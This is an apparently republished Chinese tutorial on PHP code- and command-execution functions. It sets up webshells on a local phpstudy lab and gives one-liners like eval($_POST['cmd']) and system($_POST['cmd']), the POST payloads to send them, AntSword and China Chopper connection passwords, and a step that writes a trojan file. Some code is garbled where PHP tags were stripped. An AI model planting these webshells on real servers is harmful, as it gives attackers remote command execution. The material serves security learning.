我的编程空间,编程开发者的网络收藏夹
学习永远不晚

PHP常见的命令执行函数与代码执行函数

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

PHP常见的命令执行函数与代码执行函数

目录

代码执行函数:

1. eval()

GET和POST传参的区别 

2. assert()

3. call_user_func()

4. create_function()

5. array_map()

6. call_user_func_array()

7. array_filter()

​编辑

8. uasort()函数

9. preg_replace()

命令执行函数:

1. system()

2. passthru()

3. exec()

4. pcntl_exec()

5. shell_exec()

6. popen()/proc_open()

7. 反引号 ``


代码执行函数:

前提准备:火狐插件 Quantum  Hackbar (或者hackbar)      phpstudy  

首先打开phpstudy  在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。

注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。

1. eval()

命令执行:cmd=system(ipconfig);蚁剑连接密码:cmd 注意:eval要以分号结尾  传入的参数必须为php代码  

GET和POST传参的区别 

 这里用的是POST型传参   POST型传参通过request  body 传参   而GET型传参把参数包含在url中

 可以使用

标签来使结果规范化

 "; echo eval($_POST["cmd"]); echo "
"; ?>

2. assert()

 命令执行:cmd=system(whoami)    菜刀连接密码:cmd 

3. call_user_func()

传入的参数作为assert函数的参数    命令执行:cmd=system(whoami)    蚁剑连接密码:cmd 这里的  assert  是被调用的回调函数,其余为回调函数的参数。

 

这里dys=assert;  add=phpinfo();

4. create_function()

创建匿名函数执行代码执行命令和上传文件参考eval函数(必须加分号)。 

 第一个变量表示定义一个函数变量部分  第二个变量表示执行的代码部分

5. array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。    

 这个函数作用是为数组每个元素应用回调函数。

6. call_user_func_array()

将传入的参数作为数组的第一个值传递给assert函数    cmd=system(phpinfo();)   

7. array_filter()

array_filter — 使用回调函数过滤数组的元素

命令执行:cmd=whoami  dys=system

8. uasort()函数

uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。

9. preg_replace()

preg_replace('正则规则','替换字符','目标字符')执行命令和上传文件参考assert函数(不需要加分号)。将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。preg_replace("/test/e",$_POST["cmd"],"jutst test");

命令执行函数:

1. system()

蚁剑连接密码:cmd";system($_POST["cmd"]);?>

 在POST命令框输入cmd=ipconfig  即可在页面出现信息

 还可以用echo写入一句话木马,来进行连接

cmd=echo "" >> dys.php

 

 

2. passthru()

passthru — 执行外部程序并且显示原始输出

蚁剑连接密码:cmd

 cmd=ipconfig 即可显示信息

3. exec()

这个函数有点特殊,他只输出最后一行

并且他的输出需要自己打印。(即用echo打印出来)

蚁剑连接密码:cmd"echo exec($_POST['cmd']);echo "
"?>

 

4. pcntl_exec()

pcntl_exec — 在当前进程空间执行指定程序

pcntl_exec(string $path, array $args = [], array $env_vars = []): bool以给定参数执行程序

path

path 必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。 更多的信息请查看您系统的 execve(2)手册。

args

args 是一个要传递给程序的参数的字符串数组。

env_vars

env_vars 是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值。

5. shell_exec()

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

蚁剑连接密码:cmd

 

6. popen()/proc_open()

该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

>1.txt";  popen("$cmd",'r');?>$cmd将文件查询结果放入1.txt  popen将该文件赋予可读权限在linux里,命令为popen("/bin/ls",'r');

 

 

7. 反引号 ``

[``]反引号里的东西也会被当成系统命令执行

whoami可以直接执行

";$cmd=$_GET["cmd"];echo `$cmd`;echo "
";?>

来源地址:https://blog.csdn.net/qq_45945842/article/details/131340759

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

PHP常见的命令执行函数与代码执行函数

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

PHP常用命令执行函数是什么

这篇文章主要介绍“PHP常用命令执行函数是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP常用命令执行函数是什么”文章能帮助大家解决问题。PHP命令执行函数常配合代码执行漏洞使用, 利用命令
2023-06-30

PHP执行linux命令的6个函数

一般情况下,很少会用php去执行linux命令,不过特殊情况下,你也许会用到这些函数。以前我知道有二个函数可以执行linux命令,一个是exec,一个是shell_exec。其实有很多的,结合手册内容,介绍以下6个函数。 1,exec函数
2022-06-03

php中执行查询的函数

php 中执行查询的函数是 mysqli_query(),该函数需要连接句柄和 sql 查询字符串作为参数,并返回一个表示查询结果的 mysqli_result 对象。PHP 中执行查询的函数问题: PHP 中执行查询的函数是什么?回答
php中执行查询的函数
2024-04-29

php中哪些函数不可以执行系统命令

php中无法执行系统命令的函数包括:exec()system()passthru()shell_exec()原因是这些函数存在安全漏洞,允许恶意攻击者执行任意命令。为了安全执行系统命令,php提供了escapeshellarg()和esca
php中哪些函数不可以执行系统命令
2024-04-26

PHP 函数的代码位置是否影响执行顺序?

函数的执行顺序通常受代码位置影响,但有时调用位置也会影响,如使用名称空间或包含文件时;而函数在不同位置定义但使用相同名称的情况,代码位置不影响其执行顺序。PHP 函数的代码位置是否影响执行顺序简介在 PHP 中,函数的执行顺序通常受代码位
PHP 函数的代码位置是否影响执行顺序?
2024-04-17

golang函数与goroutine的执行时机

go语言中,同步调用的函数在当前goroutine中顺序执行,而异步调用的函数通过go关键字在新的goroutine中并行执行。通过控制函数的调用方式,可以定制程序并发行为,优化其性能。Go 语言中函数与 Goroutine 的执行时机理
golang函数与goroutine的执行时机
2024-04-25

PHP 自定义函数的调试:深入探查代码执行

自定义函数调试技巧:var_dump() 输出:手动打印变量值以检查状态。xdebug:使用 xdebug 扩展逐步执行代码并查看堆栈跟踪。phpdbg:使用 phpdbg 调试器设置断点、查看变量和修改代码。PHP 自定义函数的调试:深入
PHP 自定义函数的调试:深入探查代码执行
2024-05-11

JavaScript立即执行函数与函数劫持的作用

IIFE全拼ImdiatelyInvokedFunctionExpression,是一个在定义的时候就立即执行的JavaScript函数,这篇文章主要给大家介绍了关于Javascript立即执行函数的相关资料,文中通过示例代码介绍的非常详细,需要的朋友可以参考下
2023-01-11

PHP 异常处理中的函数执行顺序如何?

php 异常处理函数执行顺序为:异常对象构造函数set_exception_handler() 调用shutdown 函数exit() 调用PHP 异常处理中的函数执行顺序在 PHP 中,当发生异常时,PHP 会按照以下顺序执行以下函数:
PHP 异常处理中的函数执行顺序如何?
2024-04-17

PHP 函数性能优化:提高代码执行速度的方法

优化 php 函数性能的有效方法包括:尽力减少函数调用频率。使用内置函数取代自定义函数。使用循环或迭代器取代递归函数。利用内置函数(如 array_map() 和 array_reduce())优化数组处理。PHP 函数性能优化:提升代码执
PHP 函数性能优化:提高代码执行速度的方法
2024-04-11

如何跟踪 PHP 函数的执行顺序?

要跟踪 php 函数的执行顺序:安装并配置 xdebug 扩展。在要跟踪的函数上附加 @ 符号。查看在指定的输出目录中生成的 trace.xdebug 文件,其中包含函数调用顺序、参数和执行持续时间的详细报告。如何跟踪 PHP 函数的执行顺
如何跟踪 PHP 函数的执行顺序?
2024-04-17

如何提高 PHP 函数的执行速度

优化 php 函数执行速度有以下四种方法:1. 避免不必要的循环;2. 缓存昂贵的计算;3. 使用原生函数;4. 使用类型提示。实战中,通过对 calculatetaxrate 函数进行优化,执行时间大幅减少,从而提升了网站性能。如何提高
如何提高 PHP 函数的执行速度
2024-04-23

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录